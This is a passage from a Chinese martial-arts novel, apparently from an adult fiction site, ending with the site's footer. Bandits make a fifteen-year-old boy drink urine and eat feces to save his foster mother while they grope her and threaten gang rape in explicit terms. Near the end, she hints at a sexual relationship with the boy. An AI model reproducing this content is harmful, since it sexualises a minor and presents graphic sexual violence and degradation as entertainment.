
火龙草龙狂笑着,草龙道:“三哥,你看见了吧?我说他当街从我裤裆钻过你们不信,现在他小子连老八的尿都喝得津津有味。”

水龙得意地笑道:“这是老子的主意妙,老子的尿够香。”

红珠哭得说不出话来,只是死劲地咬着双唇,这个由他养大的孩子,为了她,竟然不惜喝这群畜生的尿!她的心除了愤,就只有痛!

颜罗王没有感觉地喝完水龙的一泡尿,淡淡地道:“可以放了我三娘了吧?”

水龙不敢置信地道:“操,你小子喝了老子的黄水还这么心平气和,真是服了你!”

颜罗王又重复了一遍,“可以放开我娘了!”

“等等,既然喝了尿,哪能没有屎呢?俺毒七特意到一边去拉了一泡屎回来!”毒龙飞身从林子里出来,手中的碎布包着一团东西,他把那包东西丢到颜罗王面前,碎布散开,意是一泡黑黄的屎,颜罗王的皱头一眉。

臭气冲天!

水龙一下子跃开,捏着鼻子道:“七哥,你干嘛不招呼一声?哗,臭死了,这种方法真是经典杰作,七哥,你拉的屎实在是太臭了!”

毒龙笑道:“我呸!屎不臭还叫屎吗?猪脑!”

颜罗王平静地道:“是不是我把这些东西吃了,你们就真的放我三娘?”

毒龙道:“你只能选择相信我!”

水龙道:“从你张开嘴喝下我的尿的时候,我已经放过你了,小子!”

草龙道:“我也没有意见。”

颜罗王看向强抱着红珠、一只手在红珠的圆乳上抓捏着的火龙,此时他忘了手中的动作,对看向他的颜罗王轻轻地点点头。

颜罗王又看向不大爱说话的铁龙,这个中等身体,却又粗壮无比的汉子仰脸看着天,颜罗王咬牙道:“我吃!”他说这个字时用了他全部的力气,声音虽坚定却是很细,他是用了多大的劲才说出这话呀,就那么简单的两个字——我吃!

他的言行震憾了在场的六个人,一个十四五岁的少年为了挽救他的养母,用他的肉手抓过了锋利的剑,以一种不可忍受的决心去喝尿吃屎,即使是凶恶的蜀山九天也有片刻惊呆,他们不敢相信地看着地上的颜罗王,忽然觉得这黑家伙并不是他们想像中的那么无能,对于一个为了保护母亲——这并非是他的亲生母亲呀——而选择忍受世间最大的屈辱的大男孩,他的无能也就正是他的过人之处,他不但用了他的生命来保护他的母亲,也用了他的人格和男人的尊严来悍卫他的所爱,除此以外,他还能用什么来救他的三娘呢?他已经是用了他生命中的一切力量呀!不管这种爱,出自于儿子对母亲的感情,还是出自于男人对女人的爱情,至少在这刻他向一个女人证明他曾经说过的话——三娘,玉儿会用尽所有的力量来保护你!

红珠在火龙胸膛挣扎着哭喊:“玉儿,不要吃,你不能这样呀!你不用理三娘了,三娘什么都不怕,三娘都是生过孩子的女人了,不怕这几个混蛋那几条软东西的,三娘就躺在这里让这群畜生操个够!你们不要逼我的孩子,我求你们!火龙,你放开我,我张开双腿躺在这里任你们发泄,请你们放过玉儿,他只不过是个大孩子,你们不要这么折磨他!”

火龙冷笑道:“老子就是要折磨他,现在看他吃屎比操你有趣得多,你别打扰了老子看戏的心情!”

毒龙喝道:“小子,快吃,不然老子操完你娘之后,把这泡屎塞入你娘的两张嘴里!”

颜罗王默默地看了衣衫不整的红珠一眼,双手颤抖地抓在散开的那块布的两边,布的中间就是毒龙刚拉的那一泡屎。

毒龙怒道:“小子,不准用手,像条狗一样趴着吃完,你他妈的见过狗吃屎吧?是不是要我教你?”他一脚就踩在颜罗王的头上,颜罗王的脸沉重地撞在地上。

“不!”红珠歇斯底里地哭喊着,声音也沙哑了。

颜罗王再次抬起脸来,艰难地爬前一步,张嘴就咬向布上那臭热的屎。

“不要!”红珠哭喊一声,终于受不了悲愤和痛恨的刺激,晕倒在火龙怀里,火龙冷哼一声,把她丢落地上。

“不准呕出来!”毒龙看见颜罗王在吃了两三口屎之时欲作呕,狠狠敬告他道。

颜罗王强忍住,没有呕吐出来,继续吃那余下的。

也许人生本来就是把不能忍受的忍受了,所以才会撕裂心肺悲痛感,如果不是为了红珠,即使把他的头踩在这泡屎上,他颜罗王也不会张开嘴巴,他宁愿选择生命的终结,也不愿承受这样的侮辱。他此刻已经没有了任何思想,只是像一条狗一样啃着布上的屎渣。

五龙是捏着鼻子等颜罗王吃完的,他们开始还有点兴趣看,到后来连自己都感到恶心,草龙和水龙背转身去呕吐,呕出两滩腥臭的杂物。

官道上一片沉静,许久之后,颜罗王的声音打破了这种沉静,“五位,你们可以走了!”

五龙惊醒过来,毒龙道:“妈的,你说走就走呀?”

颜罗王怒道:“你们不遵守承诺?”

毒龙失笑道:“你太天真了,虽然你为这娘们吃屎喝尿的很令咱感动,可是感动归感动,我们还得把你们杀了!很抱歉,我们就是为了让你受尽折磨而死,才威胁你吃屎的,你竟然吃了!哈哈,我们现在再让你的心灵受到另一次折磨,你就看着我们在这里轮流操这娘们吧,她刚才也叫我们几兄弟操她,不操实在对不起她了。”

草龙道:“这是官道,怕会有人来吧?”

火龙道:“怕个屁,来个男的,叫他和我们一起操这娘们,来个女的,就更好!”

说罢,她蹲下去撕开红珠的亵裤,捏抓住黑色的体毛用力地一扯,红珠痛醒,大哭道:“你们这群畜生,来吧,把你们的东西全掏出来,要操就操过够!”

颜罗王向红珠爬过去,边爬边痛呼道:“三娘,玉儿对不起你!”

红珠看着脸上还沾有屎的颜罗王,悲哭道:“是娘对不起你呀,是娘对不起你!”

忽然一声大吼从铁龙嘴里喝出:“够了!”

其余的人全部看向他,只见铁龙的双眼湿润泛红,似乎流了泪,毒龙道:“二哥,你说什么够了?”

铁龙道:“看到我脸上的泪了吗?你们,什么时候见过我铁龙流泪?我铁龙铁铮铮一条汉子,却在这里欺压两个手无反搏之力的人?如果一刀宰了他们,我铁龙绝不手软,但现在你们看看,你们在干什么?呀?说话啊?让一个小孩子喝自己的尿吃自己的屎,你们看着就很开心?到最后竟然还言而无信,就冲着他那片爱心能使得我铁龙流出一滴泪,使我知道眼泪的滋味,我今日无论如何也放过他们,走,回去!什么事,明天再说!”

火龙道:“二哥,你这是作兄长的说的话吗?”

“铮”一声,铁龙把他的佩刀抽出来,怒道:“老三,如果你的手还不离开那女人的身体,别怪我的刀无情!”

其他三龙脸色惊变,突然飞跃上马,往前继续赶路,火龙怒眼瞪着铁定,道:“二哥,这次我听你的,但这种情况,绝没有第二次,希望你下次发号施令的时候要注意场合,我不想为这种无聊的事伤了我们兄弟的情面!”他甩袖而起,飞跃上马,策马追其他三人去了。

铁定看了地上的两母子,长叹一声,道:“不管你们回头还是前走,你们都只能活过今晚,回头你们会撞见我大哥,前面有他们四个等着你们,这是你们最后的一晚,好好珍惜,我只能帮你们这一次!”

他转身欲走,颜罗王问道:“我想知道我二娘她们是否还在人世?”

铁龙跃上马背,道:“有两个还活着,一个叫绿翠,一个叫罗芙,其余的人都死了!”

“驾!”铁定策马往回走,看来他已经不打算与他们四个阻杀颜罗王和红珠了。

颜罗王看着他消失,激动地道:“三娘,他说四姐还活着,四姐还活着哩!”

红珠不答言,只是凝视着他,从地上捡起一块碎布,擦拭着他的脸,眼泪止不住地流,哭着道:“以前三娘一直错怪你,即使你的是阳间的阎罗王,即使所有的事都是因你而起,我都不会怪你了,你是我和玉姐的好孩子。芙儿活与死,都不是什么重要的事了,我们明天也要死的,我只是恨,恨我为会要来到刘府,来到杨州,假如像玉姐一样死了,你也可以在刘府活得好好的。三娘已经是三十多岁的人了,人生该经历的事都历经过了,只是你,你才十五岁呀,玉儿,你不能死的!三娘要你好好地活下去,为你死去的母亲、为萧娘、为你的二娘、为我,你都得活下去!”

颜罗王惨笑道:“三娘,不要说了,我们如果能活下去,我会选择生存,但我们真能活吗?三娘,你包袱里还有两套衣服,我拿来让你穿上吧,人死前也要打扮好,到了阴间才不会像在阳间这样狼狈,我希望死前看见三娘最漂亮的样子。”

红珠一双手把他的左手捧起来,看着那里沾满了泥土的伤口,道:“为什么要抓火龙的剑?”

颜罗王看了看已经止血的伤口,淡然笑道:“因为我讨厌别人拿剑指着我的喉咙!”

红珠哭道:“还疼吗?为什么?为什么你到现在还不承认是三娘害你这样的,如果不是毒龙撕三娘的裤子,你是不会不顾一切地抓开火龙的剑的,你不觉得痛,三娘心里头痛,其实你就让他们对三娘施暴,三娘也不会怪你,三娘芙儿都生出来了,还怕他们吗?”

颜罗王平静地道:“我只要活着,我就不想看到三娘被他们那样,因为——”

红珠道:“因为什么?”

颜罗王道:“因为三娘现在是玉儿唯一的娘了,玉儿从来没见过亲娘,一直以来都把二娘和三娘当作自己的亲娘,后来萧娘为我而死,我也在心中也把她认作娘,我不能眼看着自己的娘被他们遭蹋。”

红珠低头替他包扎伤口,道:“不管你心中对三娘是什么感觉,我要让你记住一句话,三娘虽然把你奶大,但三娘并不是你的亲娘,我可以把你当作亲儿子,也可以把你当成一个纯粹的男人。三娘是过来人,对于你心中的想法,总能猜到一些,你掩饰多好也总有痕迹,我头脑清醒后,渐渐地记住你在那几天对三娘所说所做的一切。我知道,在你的心中,三娘不单是三娘那么简单。”



若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]